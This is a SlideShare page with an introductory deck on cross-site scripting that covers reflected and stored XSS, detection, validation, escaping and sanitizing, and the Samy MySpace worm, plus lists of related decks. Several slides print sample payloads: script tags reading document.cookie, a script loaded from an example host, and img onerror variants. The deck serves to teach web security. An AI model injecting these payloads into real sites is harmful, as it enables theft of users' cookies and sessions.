SlideShare a Scribd company logo
XSS
Avi Aryan | Saurabh Jain
Cross-site scripting (XSS) is a type of computer security
vulnerability typically found in web applications. XSS enables
attackers to inject client-side scripts into web pages viewed
by other users. A cross-site scripting vulnerability may be
used by attackers to bypass access controls such as the
same-origin policy.
Cross Site Scripting (XSS)
Simple vulnerability
<?php
echo "The value you entered is: " . $_GET['val'];
?>
User: https://example.com/test.php?val=123
Hacker: https://example.com/test.php?val=<script>alert(‘Hacked’)</script>
<script>alert(document.cookie);</script>
Accessing Private Information
<script src=http://www.example.com/malicious-code.js></script>
%3cscript src=http://www.ex.com/malicious-code.js%3e%3c/script%3e
Using External malicious script
Smarter ways
<IMG SRC=j&#X41vascript:alert('test2')>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
Playing with image src
Without using javascript or script
Two Types of XSS
Reflected
Usually a link with evil code. One who opens the
link is affected.
Involves error on victim’s side.
Stored
Vulnerability stored in host’s database.
Easy to trap users as no extra step is required.
Example - MySpace
Cross Site Scripting (XSS)
DETECTING
VULNERABILITES
Tech companies spend a part of their capital in detecting security vulnerabilities
before anyone else finds them.
> Static Detection
> Dynamic Detection
>> Outsourcing
Static Detection
Analyze codebase for issues either using a machine for known vulnerabilities or
manually.
Usually requires a dedicated team of professionals.
Dynamic Detection
Test application for known XSS issues by using a tool like Acunetix Web
Vulnerability Scanner.
Works by injecting payloads into the test application. If payload is saved to
database, then application is prone to XSS issues.
Outsourcing: Cheap way to find security holes
Companies hire freelance professionals and pay them only when a vulnerability is found.
Cheaper option than maintaining a dedicated team for the same.
Due to the high importance of security issues, these professionals are handsomely paid.
PREVENTING XSS ATTACKS
Techniques
“Don’t consume data blindly.”
> Validate Data
> Escape Data
> Sanitize Data
Validating Data
Validate data for certain conditions before using it.
is_type() // eg is_numeric()
regex_match()
in_array()
Escaping Data
Modify data to a safer format and then use it.
Example
filter_var(‘Testing <tags> & chars.’)
gives
“Testing &#60;tags&#62; &#38; chars.”
Sanitizing Data
Trim harmful snippets from data and then use it.
Example
filter_var(‘Testing <tags> & chars.’)
gives
“Testing & chars.”
MYSPACE CASE STUDY
In 2005, Samy, a MySpace user noticed a XSS vulnerability that allowed them to make any
user who visited their profile as friend. Now the friend was also infected with the same
worm and anyone who visited the friend’s profile also became Samy’s friend. This multifold
assault increased his friend count to millions in few hours. As a result, MySpace had to shut
down for fixing the issue which later led to loss of user trust and brand value.
Behind the scenes
1. Samy uses stylesheet to insert JS in his page.
2. The JS utilized a XMLHTTPRequest vulnerability to add anyone who visited
Samy’s profile as their friend.
3. The vulnerability allowed him to copy his JS to the visitor’s profile page.
4. So the exploit expanded multifold and he had millions of friends in few hours.
MySpace was taken down, acquired and
after few years, abandoned.
THE RESULT
References
https://www.wordfence.com/learn/how-to-prevent-cross-site-scripting-attacks/
https://www.owasp.org/index.php/Testing_for_Cross_site_scripting
https://pdfs.semanticscholar.org/c598/8300da615ead559aad2e3dba8feecb85ab4f.pdf
Game: https://xss-game.appspot.com
Questions?

More Related Content

PPTX
Xss attack
PPTX
Cross Site Scripting (XSS)
PDF
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
PPTX
VodQA3_PenetrationTesting_AmitDhakkad
PPTX
Web application Security tools
PPT
Protecting Your Web Site From SQL Injection & XSS
PPT
Xss ppt
PPTX
Identifying XSS Vulnerabilities
Xss attack
Cross Site Scripting (XSS)
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
VodQA3_PenetrationTesting_AmitDhakkad
Web application Security tools
Protecting Your Web Site From SQL Injection & XSS
Xss ppt
Identifying XSS Vulnerabilities

What's hot (20)

PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
PDF
4774.projectb.securitysquad
PPTX
PDF
S5-Authorization
PDF
XSS And SQL Injection Vulnerabilities
PDF
Session3 data-validation-sql injection
PPTX
Web tools ppt
PDF
Session2-Application Threat Modeling
PPTX
2 . web app s canners
PDF
Vulnerability Funalitics with vulners.com
PPTX
Cyber ppt
PDF
Vulners: Google for hackers
PDF
SeanRobertsThesis
PPTX
Nguyen phuong truong anh a story of bug bounty hunter
PDF
Session4-Authentication
PPTX
Understanding dom based xss
PPT
OWASP Serbia - A6 security misconfiguration
PDF
Web Sec Auditor
PDF
10 things I’ve learnt about web application security
PPTX
4 . future uni presentation
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
4774.projectb.securitysquad
S5-Authorization
XSS And SQL Injection Vulnerabilities
Session3 data-validation-sql injection
Web tools ppt
Session2-Application Threat Modeling
2 . web app s canners
Vulnerability Funalitics with vulners.com
Cyber ppt
Vulners: Google for hackers
SeanRobertsThesis
Nguyen phuong truong anh a story of bug bounty hunter
Session4-Authentication
Understanding dom based xss
OWASP Serbia - A6 security misconfiguration
Web Sec Auditor
10 things I’ve learnt about web application security
4 . future uni presentation
Ad

Similar to Cross Site Scripting (XSS) (20)

PPTX
Cross Site Scripting
PDF
Session7-XSS & CSRF
PPTX
Cross site scripting
PPT
CROSS SITE SCRIPTING.ppt
PDF
Introduction to Cross Site Scripting ( XSS )
PPTX
Cross site scripting
PDF
Complete xss walkthrough
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
PPTX
Cross-Site Scripting (XSS)
PDF
Xss 101 by-sai-shanthan
PDF
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
PPTX
XSeyeyeyeyeyeyeyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeS.pptx
PPTX
Convincing Developers to take Cross-Site Scripting Seriously
PPT
Cross site scripting (xss)
PPT
Xss talk, attack and defense
PDF
Secure Form Processing and Protection - Sunshine PHP 2015
PPTX
Vulnerabilities in Web Applications
Cross Site Scripting
Session7-XSS & CSRF
Cross site scripting
CROSS SITE SCRIPTING.ppt
Introduction to Cross Site Scripting ( XSS )
Cross site scripting
Complete xss walkthrough
Cross Site Scripting: Prevention and Detection(XSS)
Cross-Site Scripting (XSS)
Xss 101 by-sai-shanthan
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
XSeyeyeyeyeyeyeyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeS.pptx
Convincing Developers to take Cross-Site Scripting Seriously
Cross site scripting (xss)
Xss talk, attack and defense
Secure Form Processing and Protection - Sunshine PHP 2015
Vulnerabilities in Web Applications
Ad

Recently uploaded (20)

PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PPTX
Spectroscopy.pptx food analysis technology
PDF
Machine learning based COVID-19 study performance prediction
PDF
Approach and Philosophy of On baking technology
PDF
Spectral efficient network and resource selection model in 5G networks
PPTX
Cloud computing and distributed systems.
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Empathic Computing: Creating Shared Understanding
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Chapter 3 Spatial Domain Image Processing.pdf
MYSQL Presentation for SQL database connectivity
Building Integrated photovoltaic BIPV_UPV.pdf
Digital-Transformation-Roadmap-for-Companies.pptx
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Programs and apps: productivity, graphics, security and other tools
Review of recent advances in non-invasive hemoglobin estimation
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
NewMind AI Weekly Chronicles - August'25 Week I
Mobile App Security Testing_ A Comprehensive Guide.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
Spectroscopy.pptx food analysis technology
Machine learning based COVID-19 study performance prediction
Approach and Philosophy of On baking technology
Spectral efficient network and resource selection model in 5G networks
Cloud computing and distributed systems.
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Empathic Computing: Creating Shared Understanding

Cross Site Scripting (XSS)

Editor's Notes

  • #21: Here speaker talks about the whole accident